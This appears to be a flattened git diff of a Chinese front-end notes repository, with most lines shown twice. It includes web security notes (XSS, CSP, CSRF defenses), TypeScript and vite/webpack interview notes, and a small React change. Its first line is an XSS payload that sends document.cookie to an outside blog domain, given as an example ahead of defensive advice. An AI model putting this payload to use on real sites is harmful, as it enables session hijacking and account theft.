';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;'' ';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
``` ```
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。 这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
- CSP - CSP
```html ```html
在头部加入: 在头部加入:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> <meta
http-equiv="Content-Security-Policy"
content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"
/>
``` ```
meta不信任任何 URL即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用 HTTPS 协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 meta不信任任何 URL即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用 HTTPS 协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
> 注意该属性目前比较新hotfix 和 chorme 支持较好,并不适用于所有的浏览器。 > 注意该属性目前比较新hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
### 3. CSRF ### 3. CSRF
> 跨站请求伪造英语Cross-site request forgery也被称为 one-click attack 或者 session riding通常缩写为 CSRF 或者 XSRF 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。 > 跨站请求伪造英语Cross-site request forgery也被称为 one-click attack 或者 session riding通常缩写为 CSRF 或者 XSRF 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
#### 处理方式 #### 处理方式
- 验证码 - 验证码
在请求的同时,带个 token,或者验证码 在请求的同时,带个 token,或者验证码
- Referer Check - Referer Check
这个可以伪造...但加入更保险 这个可以伪造...但加入更保险
> 注意:如果网站有 XSS 漏洞或者一些跨域漏洞,可能导致 Token 泄露。 在 XSS 攻击下,读取 Token 值然后再构造出一个合法的请求可以称为XSRF。 > 注意:如果网站有 XSS 漏洞或者一些跨域漏洞,可能导致 Token 泄露。 在 XSS 攻击下,读取 Token 值然后再构造出一个合法的请求可以称为XSRF。
### 小结 ### 小结
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。 web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。

View File

@ -18,27 +18,25 @@ interface 更偏向结构定义type更偏向数据之间的关系
1. 两者继承的方式不同 1. 两者继承的方式不同
```js ```js
interface App extends Module { interface App extends Module {}
} type App = Module & { name: string };
type App = Module & { name: string }
``` ```
2. type 可以神秘基本数据类型、联合类型、元祖类型interface不能 2. type 可以声明基本数据类型、联合类型、元祖类型interface 不能
```js ```js
type Name = string type Name = string;
type Pet = Dog | Cat type Pet = Dog | Cat;
type PetList = [Dog, Cat] type PetList = [Dog, Cat];
``` ```
3. type 可以使用 typeof 获取类型interface 不行 3. type 可以使用 typeof 获取类型interface 不行
```js ```js
const Name = 'nicenote' const Name = 'nicenote';
type Iname = typeof Name type Iname = typeof Name;
``` ```

21
docs/interview/vite.md Normal file
View File

@ -0,0 +1,21 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 打包工具
## vite 和 webpack 的区别
webpack 把所有的依赖包都打包编译到一个文件夹中,它的特点有:
- bundlerall in one. 编译时间较长
viteno bundler. 新一代打包工具,基于 esbuild使用 go 编写),,所以速度上会有质的飞跃,它有以下特点:
编译速度快:直接引用 es 模块.
按需加载:只编译开发中的模块

20773
package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@ -1,9 +1,10 @@
import styles from './index.less'; import './index.less';
export default function () { export default function () {
return ( return (
<div className={styles.cont}> <div className="cont">
<div className={styles.card}> <div className="card">
{/* <div className={styles.card_heart}>&#x2665;</div> */} {/* <div className={styles.card_heart}>&#x2665;</div> */}
{/* <h1 className={styles.card_title}>hello! motherfucker!</h1> */} {/* <h1 className={styles.card_title}>hello! motherfucker!</h1> */}
</div> </div>

4450
yarn.lock

File diff suppressed because it is too large Load Diff